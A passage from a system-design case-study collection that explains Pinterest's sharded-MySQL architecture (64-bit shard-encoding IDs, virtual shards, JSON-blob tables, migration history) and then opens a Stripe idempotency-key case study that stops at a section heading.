### Decision Factors

| Factor                   | NoSQL (Cassandra/HBase) | Different NoSQL     | Sharded MySQL               |
| ------------------------ | ----------------------- | ------------------- | --------------------------- |
| Data safety track record | Data loss incidents     | Unknown at scale    | Never lost data             |
| Operational complexity   | High (clustering)       | High (clustering)   | Low (independent instances) |
| Team expertise required  | Specialized             | Specialized         | General (any engineer)      |
| Maturity (2011--2012)    | Early                   | Early--moderate     | Decades                     |
| Failure blast radius     | Entire cluster          | Entire cluster      | Single shard                |
| Capacity scaling model   | Cluster rebalancing     | Cluster rebalancing | Add identical instances     |

## Implementation

### The 64-Bit ID Scheme

The core design decision: every object ID encodes its own location. No lookup table, no routing service, no external dependency. Given an ID, any service can compute which shard holds that object.

**Bit layout:**

```
| Reserved | Shard ID | Type ID | Local ID |
| 2 bits   | 16 bits  | 10 bits | 36 bits  |
| bits 63-62 | bits 61-46 | bits 45-36 | bits 35-0 |
```

| Field        | Bits | Capacity              | Purpose                                                   |
| ------------ | ---- | --------------------- | --------------------------------------------------------- |
| **Reserved** | 2    | --                    | Set to zero; keeps IDs positive in signed 64-bit integers |
| **Shard ID** | 16   | 65,536 shards         | Identifies which virtual shard holds this object          |
| **Type ID**  | 10   | 1,024 types           | Object type: Pin=1, Board=2, User=3, etc.                 |
| **Local ID** | 36   | ~68 billion per shard | MySQL `AUTO_INCREMENT` within the shard's table           |

**Construction:**

```python title="ID generation" collapse={1-2}
# Called after INSERT returns the auto-increment local_id
# shard_id determined by colocation rules (see below)
def compose_id(shard_id, type_id, local_id):
    return (shard_id << 46) | (type_id << 36) | local_id
```

**Decomposition:**

```python title="ID parsing"
def decompose_id(object_id):
    shard_id = (object_id >> 46) & 0xFFFF
    type_id  = (object_id >> 36) & 0x3FF
    local_id = object_id & 0xFFFFFFFFF
    return shard_id, type_id, local_id
```

**Worked example**: Pin ID `241294492511762325`

| Extraction | Calculation                               | Result      |
| ---------- | ----------------------------------------- | ----------- |
| Shard ID   | `(241294492511762325 >> 46) & 0xFFFF`     | **3429**    |
| Type ID    | `(241294492511762325 >> 36) & 0x3FF`      | **1** (Pin) |
| Local ID   | `(241294492511762325 >> 0) & 0xFFFFFFFFF` | **7075733** |

From this single 64-bit integer, the system knows: the object is a Pin, it lives on shard 3429, and its row in the `pins` table has `local_id = 7075733`. No external lookup needed.

**Design reasoning for each field:**

- **Reserved bits**: Marty Weiner called these "worth their weight in gold." Two bits of future flexibility cost nothing but enable future changes to the ID scheme without breaking existing IDs.
- **16-bit shard ID**: Supports 65,536 virtual shards---far more than needed initially (4,096 opened), providing years of growth headroom.
- **10-bit type**: Allows the system to determine what an ID refers to without querying any database. Only a few types were used initially, but the capacity for 1,024 types costs nothing.
- **36-bit local ID**: ~68 billion objects per shard per type. At Pinterest's growth rate, individual shards would not exhaust this space for decades.

**Contrast with other approaches**: Instagram's ID scheme (13-bit shard, 41-bit timestamp, 10-bit sequence) embeds temporal ordering. Twitter's Snowflake uses a mapping service for shard resolution. Pinterest traded time-based ordering for type encoding and eliminated the mapping service entirely---the shard is in the ID itself.

### Virtual Shards and Physical Topology

The second key design: decouple logical data placement from physical infrastructure.

**Initial deployment**: 4,096 virtual shards across 8 physical MySQL server pairs.

Each physical server pair consists of:

- **Master A**: Handles all production reads and writes, located in one Availability Zone (AZ)
- **Master B**: Hot standby via master-master replication, located in a different AZ

Each server hosts **512 separate MySQL databases** (one per virtual shard), named `db00000` through `db04095` across the fleet.

**Shard-to-host mapping** (stored in configuration, pushed via ZooKeeper):

```python title="Shard configuration"
shard_config = {
    "sharddb001": {"range": (0, 511),    "master": "MySQL001A", "slave": "MySQL001B"},
    "sharddb002": {"range": (512, 1023),  "master": "MySQL002A", "slave": "MySQL002B"},
    "sharddb003": {"range": (1024, 1535), "master": "MySQL003A", "slave": "MySQL003B"},
    "sharddb004": {"range": (1536, 2047), "master": "MySQL004A", "slave": "MySQL004B"},
    "sharddb005": {"range": (2048, 2559), "master": "MySQL005A", "slave": "MySQL005B"},
    "sharddb006": {"range": (2560, 3071), "master": "MySQL006A", "slave": "MySQL006B"},
    "sharddb007": {"range": (3072, 3583), "master": "MySQL007A", "slave": "MySQL007B"},
    "sharddb008": {"range": (3584, 4095), "master": "MySQL008A", "slave": "MySQL008B"},
}
```

**Why virtual shards matter**: When `MySQL001A` becomes overloaded, you don't need to move any data row by row. Instead:

1. Spin up a new master-master pair (`MySQL009A/B`)
2. Start MySQL replication from `MySQL001A` to `MySQL009A`
3. Wait for replication to catch up (all 512 databases replicate)
4. Update the configuration: `MySQL001A` keeps shards 0--255, `MySQL009A` takes shards 256--511
5. Push config to ZooKeeper; all application servers pick up the new routing

No application code changes. No data migration scripts. No downtime. The virtual shard IDs embedded in every object ID remain valid forever---only the physical mapping changes.

**Critical rule**: Once data lands on a virtual shard, it **never moves to a different virtual shard**. The 64-bit ID permanently encodes shard 3429 (or whatever shard was assigned at creation). This eliminates the entire class of problems around data rebalancing, resharding, and distributed coordination.

### Object Tables: The Three-Column Schema

Every shard contains identical tables for each object type. The schema is deliberately minimal:

```sql title="Object table schema"
CREATE TABLE pins (
    local_id INT PRIMARY KEY AUTO_INCREMENT,
    data TEXT,
    ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP
) ENGINE=InnoDB;

CREATE TABLE boards (
    local_id INT PRIMARY KEY AUTO_INCREMENT,
    data TEXT,
    ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP
) ENGINE=InnoDB;

CREATE TABLE users (
    local_id INT PRIMARY KEY AUTO_INCREMENT,
    data TEXT,
    ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP
) ENGINE=InnoDB;
```

The `data` column stores a **JSON blob** (~1.2 KB for a typical pin) containing all object attributes:

```json title="Example pin JSON blob"
{
  "details": "New Star Wars character",
  "link": "http://webpage.com/asdf",
  "user_id": 241294629943640797,
  "board_id": 241294561224164665,
  "source_url": "http://original-source.com/image.jpg"
}
```

**Why JSON in MySQL?** Schema evolution without `ALTER TABLE`. Adding a field to pins means:

1. Update the application's JSON deserialization to recognize the new field
2. Set a default value for old records that lack the field
3. New writes include the field; old records work without migration

Pinterest performed only **one `ALTER TABLE` operation in three and a half years**. On large MySQL tables, `ALTER TABLE` can lock the table for hours---storing attributes as JSON sidesteps this entirely.

**Trade-off**: You lose MySQL-level indexing on individual fields within the JSON. Pinterest accepted this because their access pattern is almost exclusively primary key lookups---they fetch the entire object by `local_id` and deserialize in the application layer.

### Mapping Tables: Relationships Without Joins

Relationships between objects use separate **mapping tables** with a `noun_verb_noun` naming convention:

```sql title="Mapping table schema"
CREATE TABLE board_has_pins (
    board_id INT,
    pin_id INT,
    sequence INT,
    INDEX(board_id, pin_id, sequence)
) ENGINE=InnoDB;
```

| Column                         | Purpose                                   |
| ------------------------------ | ----------------------------------------- |
| **from_id** (e.g., `board_id`) | The source object's 64-bit ID             |
| **to_id** (e.g., `pin_id`)     | The target object's 64-bit ID             |
| **sequence**                   | Ordering value (typically Unix timestamp) |

**Examples**: `user_has_boards`, `board_has_pins`, `user_likes_pins`, `pin_liked_by_user`.

**Mapping tables are unidirectional.** If you need "board has pins" and "pin belongs to board," you create two separate tables. The mapping table lives on the shard of the **"from" ID**---so `board_has_pins` lives on the board's shard, while `pin_owned_by_board` lives on the pin's shard.

**Why the `sequence` column?** `AUTO_INCREMENT` values from different shards cannot be compared meaningfully (each shard has its own sequence). Unix timestamps provide a globally monotonic ordering that works across shards for pagination.

### Data Colocation Strategy

Objects that are frequently accessed together share a shard:

| Object       | Shard Assignment Rule                         |
| ------------ | --------------------------------------------- |
| **Users**    | Randomly assigned to a shard at creation time |
| **Boards**   | Same shard as the owning user                 |
| **Pins**     | Same shard as the board they belong to        |
| **Comments** | Same shard as the object being commented on   |

This colocation means loading a user's profile with their boards requires **zero cross-shard queries**. Loading a board with its pins is also typically single-shard, since pins are colocated with their board.

The `board_id` stored in a pin's JSON blob encodes the board's shard in its upper bits. Given any pin, the system extracts the `board_id`, decomposes it to get the board's shard, and queries that shard directly---no secondary lookup needed.

### Read and Write Paths

**Write path: Creating a new pin**

<figure>

![Write path for creating a new pin. The shard is determined by the board's ID, keeping pins colocated with their board.](./write-path-for-creating-a-new-pin-the-shard-is-determined-by-the-board-s-id-keep.svg)

<figcaption>Write path for creating a new pin. The shard is determined by the board's ID, keeping pins colocated with their board.</figcaption>
</figure>

1. Extract shard ID from the `board_id` (the pin should colocate with its board)
2. Look up shard configuration to find the physical host
3. `INSERT INTO db03429.pins (data) VALUES ('[JSON blob]')` --- MySQL returns the `AUTO_INCREMENT` `local_id`
4. Compose the 64-bit pin ID: `(3429 << 46) | (1 << 36) | 7075734`
5. Insert into the mapping table on the same shard: `INSERT INTO db03429.board_has_pins (board_id, pin_id, sequence) VALUES (...)`

**Read path: Loading a board with its pins**

1. Decompose the `board_id` to extract shard 3429
2. Look up config: shard 3429 maps to `MySQL007A`
3. `SELECT data FROM db03429.boards WHERE local_id = [board_local_id]`
4. `SELECT pin_id FROM db03429.board_has_pins WHERE board_id = [board_id] ORDER BY sequence DESC LIMIT 50`
5. For each returned `pin_id`, extract its shard. Since pins are colocated, most are on shard 3429---batch them: `SELECT data FROM db03429.pins WHERE local_id IN ([id1], [id2], ...)`
6. For pin IDs on different shards, group by shard and execute queries **in parallel**

**Latency**: The parallel multi-shard read completes in the time of the slowest single-shard query, not the sum of all queries.

**Caching**: In practice, most reads hit **Memcache** (for individual objects) or **Redis** (for mapping lists) before touching MySQL. The 64-bit ID serves as the cache key.

### Handling Lookups Without IDs

Some access patterns don't start with a Pinterest ID---logging in with an email address, or looking up a user by their Facebook ID. Pinterest handles these with two mechanisms:

**Mod shards** for hash-based lookups:

```python title="Mod shard lookup"
shard = md5("user@example.com") % 4096
```

Dedicated mod shard servers map external identifiers to Pinterest 64-bit IDs. The hash function determines which mod shard to query.

**Unsharded user table** for global uniqueness: A single, large MySQL database enforces uniqueness constraints on usernames and emails. This avoids distributed uniqueness coordination entirely---the constraint lives in one place.

### Transactions and Consistency

**Single-shard ACID**: Because colocated data lives on the same MySQL instance, transactions within a shard are fully ACID:

```sql title="Read-modify-write with row locking"
BEGIN;
SELECT data FROM db03429.pins WHERE local_id = 7075733 FOR UPDATE;
-- Application: deserialize JSON, modify description, re-serialize
UPDATE db03429.pins SET data = '[modified JSON]' WHERE local_id = 7075733;
COMMIT;
```

`SELECT ... FOR UPDATE` acquires a row-level lock within InnoDB, preventing concurrent modifications.

**Cross-shard consistency**: Best-effort. If a write needs to update objects on two different shards, the application writes to each shard independently. If one write fails, the application retries. For operations requiring stronger guarantees, a separate distributed transaction log handles coordination.

**No slave reads in production**: Pinterest reads only from the master in production. Slave replication lag causes subtle bugs---records appear missing when reads hit a slave before replication completes. The master-master topology exists for failover, not read scaling.

**Soft deletes**: Rather than `DELETE` rows, the application sets an `active` field to `false` in the JSON blob. This preserves referential integrity in mapping tables and allows data recovery.

## The Migration

### Timeline

| Phase                     | Date              | Duration        |
| ------------------------- | ----------------- | --------------- |
| **Decision made**         | Late 2011         | --              |
| **Implementation begins** | January 2012      | --              |
| **Feature freeze**        | January--May 2012 | ~4--5 months    |
| **Data migrated**         | Early--mid 2012   | Multiple passes |
| **Original estimate**     | --                | 2 months        |
| **Actual duration**       | --                | 4--5 months     |

### Migration Strategy

Pinterest used **dual-write with background migration**:

1. **Dual-write phase**: Applications wrote to both old databases and new sharded MySQL simultaneously. Writes to the new system were asynchronous (not blocking user requests).

2. **Background migration**: A scripting farm (built on **Pyres**, a Python interface to GitHub's Resque queue, replacing the previous Celery + RabbitMQ stack) scripted data transfer from old databases to new shards.

3. **Iterative reconciliation**: The migration ran multiple passes. Each pass reduced the delta between old and new systems. Transitory errors (network issues, timeouts) meant individual runs missed some records.

4. **User-driven validation**: Users discovered missing data (boards that didn't appear) during migration. This feedback drove additional reconciliation runs.

### Data Migrated

| Entity                      | Volume       |
| --------------------------- | ------------ |
| **Pins**                    | ~500 million |
| **Follower/following rows** | ~1.6 billion |

### Challenges

- **Estimated 2 months, took 4--5**: The migration was significantly harder than anticipated. Transitory errors and data consistency checks required multiple full passes.
- **Feature freeze**: No new features shipped during the migration. For a startup doubling every 45 days, this was a significant business cost.
- **Missing data**: Users reported missing boards and pins. Each report triggered investigation and additional migration runs.

### Post-Migration Architecture (January 2012)

| Component          | Count          |
| ------------------ | -------------- |
| Web engines        | 90             |
| API engines        | 50             |
| MySQL databases    | 66 (m1.xlarge) |
| Redis instances    | 59             |
| Memcache instances | 51             |

By October 2012, this had grown to 180 web engines, 240 API engines, 88 MySQL databases (now cc2.8xlarge, migrating to SSDs), 110 Redis instances, and 200 Memcache instances---all without changing the sharding architecture.

## Outcome

### Metrics Comparison

| Metric                                           | Before (Sept 2011)   | After (Jan 2012)           | After (Oct 2012) |
| ------------------------------------------------ | -------------------- | -------------------------- | ---------------- |
| **Database technologies**                        | 6                    | 3 (MySQL, Redis, Memcache) | 3                |
| **Engineers**                                    | 3                    | 6                          | 40               |
| **MySQL instances**                              | 5 + 9 replicas       | 66 + 66 replicas           | 88 + 88 replicas |
| **Users**                                        | ~3.2 million         | ~11.7 million MAU          | ~22 million      |
| **Data loss incidents**                          | Multiple (Cassandra) | Zero                       | Zero             |
| **Technologies requiring specialized expertise** | 6                    | 1 (MySQL)                  | 1                |

### Operational Wins

- **New engineer onboarding**: Engineers contributed code in their first week. The architecture was simple enough that anyone familiar with MySQL could understand the sharding layer.
- **Predictable scaling**: Adding capacity meant adding identical MySQL pairs and updating configuration. No rebalancing, no cluster consensus, no data migration.
- **Linear performance**: MySQL's response time to request rate increased linearly, not exponentially. Performance was both fast and consistent.

### Long-Term Durability

The sharding architecture designed in late 2011 is **still in production** as of 2024, handling:

- 150+ billion objects
- 500+ million users
- 75+ billion pins on 1+ billion boards

### Post-Sharding Evolution

The original MySQL sharding layer remained stable while Pinterest evolved the layers around it:

| Year           | Change                                            | Purpose                                                                               |
| -------------- | ------------------------------------------------- | ------------------------------------------------------------------------------------- |
| **2013--2014** | Built **Zen** graph service (HBase + MySQL)       | Social graph and feed storage                                                         |
| **2016--2017** | Built **Rocksplicator** (open-sourced)            | RocksDB-based real-time data replication                                              |
| **2017**       | Custom MySQL compression (contributed to Percona) | Improved compression ratio from 2:1 to 3.47:1 for JSON blobs                          |
| **2019**       | Open-sourced **mysql_utils** (later archived)     | MySQL lifecycle management tooling                                                    |
| **2020**       | Built **KVStore** (unified key-value service)     | Consolidated 500+ use cases, 4+ PB, 100M+ QPS onto single RocksDB-backed service      |
| **2020--2024** | Adopted **TiDB** for graph service                | Replaced HBase-backed Zen with PinGraph: 10x P99 latency reduction, 50%+ cost savings |

The HBase layer that was added in 2013 was eventually deprecated---at its peak it comprised ~50 clusters, 9,000 EC2 instances, and 6+ PB of data. Pinterest selected TiDB after evaluating 15+ database solutions. The MySQL sharding layer, by contrast, required no such migration.

### MySQL Tooling

Pinterest built and later open-sourced **mysql_utils** ([GitHub](https://github.com/pinterest/mysql_utils), archived 2019), a comprehensive MySQL management toolkit:

| Category                | Tools                                                                               |
| ----------------------- | ----------------------------------------------------------------------------------- |
| **Server lifecycle**    | `launch_replacement_db_host.py`, `mysql_restore.py`, `mysql_failover.py`            |
| **Backup and recovery** | `mysql_backup.py` (XtraBackup), `archive_mysql_binlogs.py` (point-in-time recovery) |
| **Monitoring**          | `check_mysql_replication.py`, `mysql_checksum.py` (daily pt-checksum verification)  |
| **Shard management**    | `find_shard_mismatches.py`, `fix_orphaned_shards.py`, `schema_verifier.py`          |

The operational philosophy was **immutable servers**: MySQL instances were launched, lived, and died with minimal configuration changes. Upgrades happened by launching a replacement, replicating data, and failing over.

## Lessons Learned

### Technical Lessons

#### 1. Maturity Beats Features

**The insight**: In 2011--2012, NoSQL databases offered features MySQL lacked (automatic sharding, flexible schemas, distributed consensus). But those features came with immature failure modes that cost Pinterest data and uptime. MySQL's decade-long production hardening made it more reliable despite fewer features.

**How it applies elsewhere**:

- Evaluate technologies by their failure modes, not their feature lists
- The "boring" choice is often boring because its bugs have been found and fixed
- Immaturity risk scales with your deployment size---if you're among the largest users, you'll find the bugs first

**Warning signs to watch for**:

- You're adopting a technology less than 3 years old for a critical path
- The technology's GitHub issues include data loss reports
- You can't find anyone who has run it at your scale for more than a year

#### 2. Cluster Consensus Is the Hardest Code

**The insight**: Every clustering technology that failed for Pinterest failed in the cluster management layer---the code that handles membership, data placement, and rebalancing. This is inherently the hardest distributed systems code to get right, and it runs on every node simultaneously. A bug in this layer is a cluster-wide failure.

**How it applies elsewhere**:

- If you can avoid distributed consensus in your data path, do so
- Pinterest's sharding approach works because each MySQL instance is independent---no gossip, no leader election, no rebalancing
- Application-layer routing is simpler to debug than cluster-layer routing

**Warning signs to watch for**:

- Your database's rebalancing operation has ever caused an outage or data inconsistency
- Cluster management documentation includes phrases like "in rare cases" followed by data loss scenarios
- Scaling requires coordinated action across all nodes (not just adding a new node)

#### 3. Embed Location in Identity

**The insight**: By encoding the shard ID directly in the 64-bit object ID, Pinterest eliminated an entire class of infrastructure---shard mapping services, lookup tables, routing proxies. Any service with access to the ID can compute where the data lives. This removes a network hop, a cache layer, and a potential point of failure.

**How it applies elsewhere**:

- Any system that routes by entity ID can benefit from location-encoded IDs
- The trade-off is that IDs become opaque (non-sequential, non-time-ordered)
- Reserve bits in your ID scheme---the cost is minimal, the future flexibility is significant

**Warning signs to watch for**:

- Your routing layer is a bottleneck or single point of failure
- You maintain a separate "shard map" service that all reads/writes depend on
- Adding a new shard requires updating a central registry and propagating the change

#### 4. Never Move Data Between Shards

**The insight**: Pinterest's most counterintuitive design rule: data never moves after initial placement. This eliminates rebalancing, resharding, and all the distributed coordination those operations require. Capacity grows by changing the virtual-to-physical mapping, not by moving rows.

**How it applies elsewhere**:

- Design for virtual shards from day one---even if you start with few physical hosts
- Over-provision virtual shards (Pinterest used 4,096 with room for 65,536)
- Accept that some shards will be larger than others (hot spots)---this is manageable with monitoring and targeted capacity additions

#### 5. JSON Blobs Trade Indexing for Agility

**The insight**: Storing all object attributes as JSON in a single TEXT column eliminated `ALTER TABLE` operations at the cost of per-field indexing. For Pinterest's access pattern (primary key lookups, no ad-hoc queries), this was the correct trade-off.

**When this does NOT apply**:

- If your workload requires filtering, sorting, or aggregating on arbitrary fields
- If you need database-level constraints (CHECK, UNIQUE on individual fields)
- If your objects are large enough that deserializing the entire blob is expensive

### Process Lessons

#### 1. Feature Freezes Are an Investment

**The insight**: Pinterest froze features for 4--5 months during migration. For a startup doubling every 45 days, this was painful. But the alternative---continuing to operate 6 database technologies with 3 engineers---was unsustainable. The freeze produced a foundation that supported the next decade of growth.

**What they'd do differently**: Estimate more conservatively. The original 2-month estimate reflected engineering optimism, not the reality of migrating billions of rows with consistency guarantees.

### Organizational Lessons

#### 1. Small Teams Need Simple Architectures

**The insight**: Three engineers cannot maintain operational expertise across 6 database technologies. The decision to consolidate onto MySQL wasn't a technical judgment about MySQL's superiority---it was a recognition that operational simplicity is a feature that compounds over time.

**How organization structure affected the outcome**: Pinterest's tiny team forced a constraint that larger organizations often lack. With more engineers, they might have kept the NoSQL stack and hired specialists. The forced simplification produced a better architecture.

## Applying This to Your System

### When This Pattern Applies

You might benefit from Pinterest-style sharding if:

- Your access pattern is dominated by primary key lookups (not ad-hoc queries)
- Your data model has clear ownership hierarchies (user owns boards, boards own pins)
- You need to scale writes horizontally without cluster coordination
- Your team is small relative to the number of database technologies you operate
- You value operational simplicity over feature richness

### When This Pattern Does NOT Apply

- **Ad-hoc analytics**: If you need to scan, filter, or aggregate across all data, sharded MySQL with JSON blobs will be painful. Use a separate analytical data store.
- **Complex cross-entity queries**: If your application requires multi-entity joins as a core operation, application-layer joins add significant complexity and latency.
- **Strong cross-shard consistency**: If operations frequently span multiple shards and require transactional guarantees, you need distributed transactions---which this architecture explicitly avoids.
- **Small scale**: If your data fits on a single MySQL instance, sharding adds complexity without benefit. Start with a single database and shard when you actually need it.

### Evaluation Checklist

- [ ] Are 80%+ of your queries primary key lookups?
- [ ] Can your data model be partitioned by a natural key (user ID, tenant ID)?
- [ ] Are you operating more database technologies than you have database specialists?
- [ ] Is your current clustering layer causing operational incidents?
- [ ] Can you tolerate eventual consistency for cross-shard operations?

### Starting Points

1. **Audit your query patterns**: What percentage are primary key lookups vs. scans/aggregations?
2. **Identify colocation candidates**: Which entities are always accessed together?
3. **Design your ID scheme**: How many bits for shard, type, local ID? Reserve bits for the future.
4. **Start with virtual shards**: Even if you have one physical host, create 4,096+ virtual databases. This makes future scaling a configuration change, not a migration.
5. **Prototype the JSON blob approach**: Pick one entity type, store it as JSON, and measure the impact on development velocity vs. query flexibility.

## Conclusion

Pinterest's MySQL sharding architecture succeeds not because of what it does, but because of what it refuses to do. No distributed consensus. No automatic rebalancing. No cross-shard joins. No cluster management. Every feature they removed was a feature that had failed them in production.

The 64-bit ID scheme is the design's center of gravity: by encoding shard, type, and local ID into every object's identity, the system eliminates routing services, lookup tables, and coordination protocols. A single bitwise operation replaces what would otherwise be a networked dependency. Virtual shards decouple logical placement from physical topology, making capacity additions a configuration change rather than a data migration.

The broader lesson isn't "use MySQL"---it's that the most reliable distributed system is one where each node operates independently and all coordination happens in application code that you control, understand, and can debug with standard tools. Pinterest chose this architecture not because they lacked the engineering talent for something more sophisticated, but because they had learned---through data loss and outages---that sophistication in the data layer is a liability when your team is small and your growth is exponential.

## Appendix

### Prerequisites

- Understanding of relational database fundamentals (primary keys, indexes, replication)
- Familiarity with horizontal partitioning (sharding) concepts
- Basic knowledge of distributed systems trade-offs (CAP theorem, consistency models)

### Terminology

- **Virtual shard**: A logical partition (MySQL database) that may move between physical hosts. Pinterest's IDs reference virtual shards, not physical hosts.
- **Master-master replication**: MySQL configuration where two instances replicate writes to each other. Pinterest uses one as active, the other as hot standby.
- **Mapping table**: A table that stores relationships between objects (e.g., `board_has_pins`). Named with `noun_verb_noun` convention.
- **Mod shard**: A hash-based routing scheme for lookups by non-ID attributes (email, username). Uses `md5(key) % shard_count` to determine which shard holds the mapping.
- **Colocation**: Placing related objects on the same shard to avoid cross-shard queries.

### Summary

- Pinterest replaced 6 database technologies with sharded MySQL + Redis + Memcache after NoSQL clustering failures caused repeated data loss and outages
- The 64-bit ID scheme encodes shard ID (16 bits), type (10 bits), and local ID (36 bits)---any service can route a request without external lookup
- 4,096 virtual shards across 8 physical MySQL pairs; capacity grows by splitting physical hosts, never by moving data
- Objects store all attributes as JSON blobs in a three-column table, eliminating schema migrations
- Relationships use unidirectional mapping tables on the "from" object's shard; application-layer joins replace SQL JOINs
- Data colocation (user/board/pin on same shard) minimizes cross-shard reads
- The architecture has run in production for 12+ years, scaling to 150+ billion objects without fundamental redesign

### References

- [Sharding Pinterest: How We Scaled Our MySQL Fleet - Pinterest Engineering Blog](https://medium.com/pinterest-engineering/sharding-pinterest-how-we-scaled-our-mysql-fleet-3f341e96ca6f) - Canonical blog post on the sharding design
- [Learn to Stop Using Shiny New Things and Love MySQL - Marty Weiner, Pinterest Engineering](https://medium.com/pinterest-engineering/learn-to-stop-using-shiny-new-things-and-love-mysql-3e1613c2ce14) - Design philosophy behind the MySQL decision
- [Scaling Pinterest: From 0 to 10s of Billions of Page Views a Month - High Scalability](http://highscalability.com/blog/2013/4/15/scaling-pinterest-from-0-to-10s-of-billions-of-page-views-a.html) - Detailed notes from Marty Weiner's scaling talks
- [Scaling Pinterest - QCon San Francisco 2012 (Yashwanth Nelapati, Marty Weiner)](https://www.infoq.com/presentations/Pinterest/) - Conference presentation on the full architecture evolution
- [GOTO 2014: Scaling Pinterest - Marty Weiner](https://evankuhn.github.io/techtalks/2017/06/19/goto-2014-scaling-pinterest-marty-weiner.html) - Talk notes covering technology selection philosophy
- [Open-Sourcing Pinterest MySQL Management Tools - Pinterest Engineering](https://medium.com/pinterest-engineering/open-sourcing-pinterest-mysql-management-tools-7a9f90cffc9) - MySQL tooling and operational practices
- [pinterest/mysql_utils - GitHub](https://github.com/pinterest/mysql_utils) - Open-source MySQL management toolkit (archived 2019)
- [Evolving MySQL Compression, Part 1 - Pinterest Engineering](https://medium.com/pinterest-engineering/evolving-mysql-compression-part-1-7f8b09666589) - Custom compression for JSON blobs
- [3 Innovations While Unifying Pinterest's Key-Value Storage - Pinterest Engineering](https://medium.com/@Pinterest_Engineering/3-innovations-while-unifying-pinterests-key-value-storage-8cdcdf8cf6aa) - KVStore unification (2020)
- [HBase Deprecation at Pinterest - Pinterest Engineering](https://medium.com/pinterest-engineering/hbase-deprecation-at-pinterest-8a99e6c8e6b7) - Why HBase was deprecated and lessons learned
- [Graph Service: Why Pinterest Modernized with Distributed SQL - PingCAP](https://www.pingcap.com/blog/why-pinterest-modernized-graph-service-distributed-sql/) - TiDB adoption for graph service (2024)
- [MySQL Customer: Pinterest - Oracle](https://www.mysql.com/customers/view/?id=1264) - Official MySQL customer profile

---

## Stripe: Idempotency for Payment Reliability

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/real-world-case-studies/stripe-idempotency-reliability
**Category:** System Design / Real-World Case Studies
**Description:** How Stripe prevents double charges and enables safe retries across billions of transactions using idempotency keys, atomic phases, and database-backed state machines. This case study examines the design decisions behind Stripe’s approach—why they chose database transactions over distributed consensus, how they handle foreign state mutations, and the patterns that enabled 99.999% uptime while processing $1 trillion in payments.

# Stripe: Idempotency for Payment Reliability

How Stripe prevents double charges and enables safe retries across billions of transactions using idempotency keys, atomic phases, and database-backed state machines. This case study examines the design decisions behind Stripe's approach—why they chose database transactions over distributed consensus, how they handle foreign state mutations, and the patterns that enabled 99.999% uptime while processing $1 trillion in payments.

<figure>

![Idempotency key lifecycle: generation, lookup, execution, caching, and replay on retry.](./idempotency-key-lifecycle-generation-lookup-execution-caching-and-replay-on-retr.svg)

<figcaption>Idempotency key lifecycle: generation, lookup, execution, caching, and replay on retry.</figcaption>
</figure>

## Abstract

Stripe's idempotency system solves a fundamental distributed systems problem: **network failures make operation outcomes ambiguous**. A request may succeed but the response never reaches the client. Without idempotency, retrying risks double-charging customers.

**The core insight**: Use the database as the coordination layer. Every request with an idempotency key creates a database record that tracks progress through "atomic phases"—local state mutations grouped between foreign (external API) calls. If a request fails mid-execution, the completer process resumes from the last completed phase.

**Key design decisions**:

- **ACID over distributed consensus**: Serializable transactions provide atomicity guarantees without Paxos/Raft complexity
- **Recovery points as state machine**: Each phase boundary is a checkpoint; progress is never lost
- **Transactionally staged job drains**: Background jobs are inserted into the database, not directly queued—preventing lost work if the process crashes between commit and job enqueueing
- **24-hour key retention (v1) / 30-day retention (v2)**: Balance between replay window and storage costs

**Trade-offs accepted**:

- Serializable isolation reduces throughput (concurrent requests to same key return 409)
- Additional database round-trips per request
- Complexity in defining atomic phase boundaries
- Cannot safely retry non-idempotent external APIs

## Context

### The System

Stripe processes payments for millions of businesses. The architecture involves:

| Component                 | Function                               | Scale                                              |
| ------------------------- | -------------------------------------- | -------------------------------------------------- |
| **API Gateway**           | Authentication, rate limiting, routing | 100 requests/second per account                    |
| **DocDB (MongoDB-based)** | Primary data store                     | 5M queries/second, 2000+ shards, petabytes of data |
| **External processors**   | Card networks, banks                   | Multiple third-party dependencies                  |

The challenge: a single payment request may touch multiple systems (fraud detection, card network, bank), any of which can fail or timeout.

### The Problem

Three failure scenarios make payment outcomes ambiguous:

1. **Connection fails before request reaches server**: Client knows nothing happened
2. **Server fails mid-operation**: Work partially completed, state inconsistent
3. **Operation succeeds but response never reaches client**: Client doesn't know if it succeeded

For payments, these ambiguities are catastrophic. Double-charging customers causes chargebacks, support tickets, and lost trust. Dropped transactions mean lost revenue.

### Why Traditional Approaches Fail

**Distributed transactions (2PC)**: Require all participants to be available simultaneously. Card networks and banks don't support distributed transaction protocols.

**Event sourcing without idempotency**: Events can be replayed, but if the original request is retried, you get duplicate events.

**Retry with timeout**: Arbitrary timeouts can't distinguish "request still processing" from "request failed silently."

### Scale Context (2023)

- **$1 trillion** in total payment volume
- **99.999% uptime** target
- **5 million database queries per second**
- **2,000+ database shards** across **5,000+ collections**

## The Solution: Idempotency Keys

### How It Works

1. Client generates a unique identifier (typically UUIDv4) for each logical operation
2. Client sends identifier via `Idempotency-Key` header
3. Server creates a database record tracking request state
4. If client retries with the same key, server returns the cached response
5. Response includes `Idempotent-Replayed: true` header to indicate replay

### Key Properties

| Property           | Value              | Rationale                                        |
| ------------------ | ------------------ | ------------------------------------------------ |
| **Max length**     | 255 characters     | Practical limit for database indexing            |
| **Format**         | UUIDv4 recommended | Sufficient entropy to prevent collisions         |
| **Scope**          | Per-account        | Same key from different accounts are independent |
| **Retention (v1)** | 24 hours           | Balance between replay window and storage        |
| **Retention (v2)** | 30 days            | Extended window for async workflows              |

### Database Schema

The idempotency key table tracks request lifecycle:

```sql title="idempotency_keys.sql" collapse={1-2}
-- Core idempotency tracking table
-- Each record represents one logical operation
CREATE TABLE idempotency_keys (
    id              BIGSERIAL PRIMARY KEY,
    idempotency_key TEXT NOT NULL,
    user_id         BIGINT NOT NULL,
    locked_at       TIMESTAMPTZ,
    request_method  TEXT NOT NULL,
    request_params  JSONB NOT NULL,
    response_code   INT NULL,
    response_body   JSONB NULL,
    recovery_point  TEXT NOT NULL DEFAULT 'started',
    created_at      TIMESTAMPTZ NOT NULL DEFAULT now(),

    CONSTRAINT idempotency_keys_user_key_unique
        UNIQUE (user_id, idempotency_key)
);
```

**Design decisions**:

- **`(user_id, idempotency_key)` uniqueness**: Keys are scoped per-account, not globally. Two users can use the same key string without conflict.
- **`locked_at` field**: Prevents concurrent processing. If non-null, another request is in progress.
- **`recovery_point`**: Tracks which atomic phase completed last. The completer process uses this to resume.
- **`request_params` storage**: Enables validation that retries use identical parameters.

## Atomic Phases Architecture

### The Core Concept

